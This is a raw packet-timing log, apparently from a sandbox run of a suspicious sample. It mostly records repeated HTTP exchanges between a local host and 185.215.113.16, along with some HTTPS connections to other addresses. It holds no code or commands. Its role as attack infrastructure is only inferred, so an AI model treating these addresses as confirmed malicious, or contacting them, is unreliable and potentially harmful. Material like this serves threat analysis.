Dec 8, 2024 15:38:56.677367926 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.677419901 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.677598000 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.677649975 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.678569078 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.678622007 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.678962946 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.679013014 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.679739952 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.679790020 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.680926085 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.680937052 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.680951118 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.680972099 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.680993080 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.682058096 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.682111025 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.682182074 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.682235003 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.683253050 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.683306932 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.683857918 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.683911085 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.684457064 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.684509993 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.684669018 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.684717894 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.685591936 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.685640097 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.685719967 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.685770988 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.686765909 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.687932014 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.687942982 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.687973022 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.687988043 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.688021898 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.689097881 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.689153910 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.689203978 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.690313101 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.690325975 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.690366030 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.691428900 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.691896915 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.691946030 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.692641020 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.692684889 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.692821026 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.692867994 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.693922043 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.694262981 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.694312096 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.695076942 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.695120096 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.695405960 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.695451975 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.696212053 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.696257114 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.696866035 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.696913004 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.697355032 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.697366953 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.697413921 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.698539972 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.698550940 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.698590040 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.699692965 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.699822903 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.699873924 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.700849056 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.700896025 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.703306913 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.705121040 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.722776890 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.722806931 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.722819090 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.722834110 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.722851038 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.722865105 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.723014116 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.723026991 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.723064899 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.799576998 CET	49836	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:56.799623013 CET	443	49836	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:56.799700022 CET	49836	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:56.800370932 CET	49836	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:56.800386906 CET	443	49836	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:56.833237886 CET	443	49831	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.834162951 CET	443	49831	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.834228039 CET	49831	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.834270954 CET	49831	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.834295034 CET	443	49831	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.834311008 CET	49831	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.834316969 CET	443	49831	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.835163116 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.835181952 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.835252047 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.835540056 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.835585117 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.835618019 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.835630894 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.836869955 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.836915016 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.836994886 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.837037086 CET	49837	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.837058067 CET	443	49837	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.837219954 CET	49837	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.837394953 CET	49837	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.837405920 CET	443	49837	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.837915897 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.837961912 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.838129044 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.838185072 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.839112997 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.839163065 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.839195013 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.839237928 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.840292931 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.840343952 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.840820074 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.840867043 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.841475964 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.841523886 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.841567039 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.841577053 CET	443	49832	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.841638088 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.841681957 CET	443	49833	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.842633009 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.842727900 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.842786074 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.843795061 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.844578028 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.844639063 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.845077991 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.845089912 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.845139980 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.845163107 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.845176935 CET	443	49832	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.845280886 CET	49832	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.845314026 CET	49832	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.845323086 CET	443	49832	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.845333099 CET	49832	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.845339060 CET	443	49832	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.845551014 CET	443	49833	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.845616102 CET	49833	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.845633984 CET	49833	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.845643044 CET	443	49833	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.845673084 CET	49833	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.845678091 CET	443	49833	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.846220970 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.846266985 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.846442938 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.846487045 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.847414970 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.847722054 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.847774029 CET	49838	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.847789049 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.847804070 CET	443	49838	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.847876072 CET	49839	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.847887039 CET	443	49839	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.847906113 CET	49838	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.847956896 CET	49839	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.848064899 CET	49838	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.848073959 CET	443	49838	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.848104000 CET	49839	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.848117113 CET	443	49839	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.848589897 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.848603010 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.848645926 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.849672079 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.849718094 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.850862026 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.850874901 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.850909948 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.850997925 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.851042032 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.852004051 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.852058887 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.852226973 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.852276087 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.853213072 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.853262901 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.853919983 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.853965998 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.854626894 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.854676962 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.855045080 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.855107069 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.855717897 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.855783939 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.855817080 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.855861902 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.856822014 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.856872082 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.856901884 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.856955051 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.857215881 CET	443	49834	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.857882977 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.858030081 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.858098030 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.859054089 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.859657049 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.859723091 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.860258102 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.860301971 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.860311031 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.860346079 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.860399961 CET	443	49834	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.860450983 CET	49834	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.860471010 CET	49834	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.860477924 CET	443	49834	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.860488892 CET	49834	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.860492945 CET	443	49834	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.861407995 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.862453938 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.862525940 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.862600088 CET	49840	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.862607002 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.862612963 CET	443	49840	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.862618923 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.862654924 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.862684011 CET	49840	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.863008022 CET	49840	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.863008976 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.863022089 CET	443	49840	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.863851070 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.864208937 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.864290953 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.864945889 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.865005970 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.865071058 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.865123987 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.866099119 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.866157055 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.866162062 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.866203070 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.867302895 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.868484974 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.868495941 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.868509054 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.868551970 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.868585110 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.869646072 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.870630026 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.870693922 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.870770931 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.870826006 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.871968985 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.872025967 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.872037888 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.872091055 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.873155117 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.873215914 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.873691082 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.873737097 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.874176979 CET	443	49835	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.874382973 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.874394894 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.874433994 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.874434948 CET	443	49835	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.874483109 CET	49835	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.874511957 CET	49835	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.874516964 CET	443	49835	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.874526024 CET	49835	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.874530077 CET	443	49835	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.875519991 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.875828981 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.875896931 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.876672029 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.876692057 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.876733065 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.876771927 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.877238989 CET	49841	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.877264977 CET	443	49841	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.877315998 CET	49841	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.877609015 CET	49841	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.877623081 CET	443	49841	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.877971888 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.877985001 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.878031015 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.879065990 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.879973888 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.880033016 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.880274057 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.880337000 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.880424976 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.880480051 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.881547928 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.881599903 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.881742001 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.881783962 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.882591009 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.882605076 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.882638931 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.882658005 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.884283066 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.884300947 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.884355068 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.885765076 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.885782957 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.885817051 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.885857105 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.886331081 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.886419058 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.886465073 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.887923002 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.888267994 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.888462067 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.888475895 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.888489008 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.888519049 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.888550997 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.889698029 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.889754057 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.890233994 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.890294075 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.891062021 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.891155005 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.891393900 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.891472101 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.892733097 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.892785072 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.892802954 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.892849922 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.894157887 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.894212008 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.894792080 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.894843102 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.895025015 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.895078897 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.895172119 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.895222902 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.895792961 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.895845890 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.895922899 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.895991087 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.896708965 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.896768093 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.921351910 CET	80	49787	185.215.113.206	192.168.2.6
